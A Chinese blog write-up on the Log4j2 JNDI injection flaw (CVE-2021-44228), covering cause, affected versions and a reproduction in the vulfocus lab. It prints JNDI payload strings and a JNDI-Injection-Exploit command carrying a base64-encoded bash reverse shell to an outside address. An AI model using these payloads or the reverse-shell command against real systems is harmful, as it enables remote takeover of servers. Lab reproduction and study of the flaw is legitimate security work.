log4j2远程代码执行漏洞

2021-12-13

Word count: 1.1k | Reading time≈ 4 min

Apache Log4j 2远程代码执行漏洞（ CVE-2021-44228）

Apache Log4j 2远程代码执行漏洞（ CVE-2021-44228）

漏洞描述

Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架，并且引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。

log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

漏洞原理

攻击者可以通过 log4j 的 lookup 替换功能向其配置文件的任意位置注入代码（类似 SQL 注入，把变量替换为{实际代码}），再加上这些版本中用到的 JNDI 特性并没有为 LDAP 提供足够的保护，使得注入的任意代码都能被执行。

先说下利用exp： ${jndi:rmi://127.0.0.1:1099/exp} (rmi/ldap ，两者部分功能类似，但也有不同点) 再直白点来说就是用户提交的$ {jndi:rmi://127.0.0.1:1099/exp} ，被日志捕获到，然后如果log4j2 又开启了 Jndi Lookup功能，就能解析用户提交的exp，发送rmi请求，远程调用一些反序类化的方法。

JNDI：Java 命名与目录接口，提供了用名称来访问资源的能力
LDAP：轻型目录访问协议，定义了如何访问目录服务中的内容

两者配合，可以完成对服务器目录的操作，比如增删改查。

影响范围

Apache Log4j 2.x < 2.15.0-rc2
供应链影响范围

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr

Dubbo

Redis

Logstash

Kafka

Apache Flink

Apache Druid

ElasticSearch

Flume

等

漏洞复现

漏洞环境：vulfocus(http://vulfocus.fofa.so/#/dashboard

vulfocus.fofa.so:44873

`漏洞验证`

打开http://www.dnslog.cn/ get subdomain

输入payload

payload=${jndi:ldap://ip/exp}

payload  这个参数名字不能错
ip暂时换上对应域名

返回dnslog，refresh一下，可以看到记录，说明，请求了该域名，证明漏洞可能存在（极大几率）

`反弹shell`

需要jndi注入工具构造反弹shell命令

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
-C - 远程class文件中要执行的命令。命令会被作为参数传入Runtime.getRuntime().exec()，所以需要确保命令传入exec()方法可执行。
-A - 服务器地址，可以是IP地址或者域名


java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEwMDE1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "1.1.1.1"

YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEwMDE1IDA+JjE= 是反弹shell的base64加密只需要修改成反弹到vps的ip端口